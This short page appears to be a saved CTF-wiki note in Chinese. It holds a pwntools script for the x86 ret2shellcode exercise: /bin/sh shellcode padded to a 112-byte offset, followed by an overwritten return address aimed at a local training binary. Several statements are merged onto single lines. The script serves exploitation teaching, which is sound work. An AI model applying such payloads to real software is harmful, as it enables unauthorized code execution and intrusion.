x86 ret2 shellcode
作者: WRZ1014创建于 2026年1月8日更新于 2026年1月8日
from pwn import *
context(os='linux', arch='i386') context.terminal = ['tmux', 'splitw', '-h']
BINARY = "./ret2shellcode" elf = ELF(BINARY, False) rop = ROP(elf) conn = process(BINARY)
offset = 112 addr = 0x804a080 shellcode = asm(shellcraft.sh()) payload = bytes(shellcode).ljust(offset, b'\0') + p32(addr)
内容来源: ctf-wiki/ctf-wiki